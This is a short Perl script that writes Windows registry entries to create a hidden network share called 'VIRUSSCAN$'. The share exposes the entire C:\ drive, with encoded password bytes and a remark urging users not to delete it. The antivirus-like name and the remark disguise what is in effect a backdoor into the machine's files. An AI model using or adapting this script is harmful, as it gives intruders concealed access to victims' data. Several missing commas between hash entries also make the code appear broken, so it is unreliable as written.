use Win32::TieRegistry;

$Registry->Delimiter("/");

$Registry->{"LMachine/SOFTWARE/Microsoft/Windows/CurrentVersion/Network/"}={
    "LanMan/" => {
        "VIRUSSCAN\$/" => {
            "/Flags" => [ "0x00000102",
                          "REG_DWORD",
                        ] 
            "/Parm1enc" => [ "",
                             "REG_BINARY",
                           ] 
            "/Parm2enc" => [ pack( "c5", map { hex $_ } qw( 1f b0 67 8c 79 )  ),
                             "REG_BINARY",
                           ] 
            "/Type" => [ "0x00000000",
                         "REG_DWORD",
                       ]

            "/Path" => "C:\\",
            "/Remark" => "Do Not Delete This Share"
        },
    },
};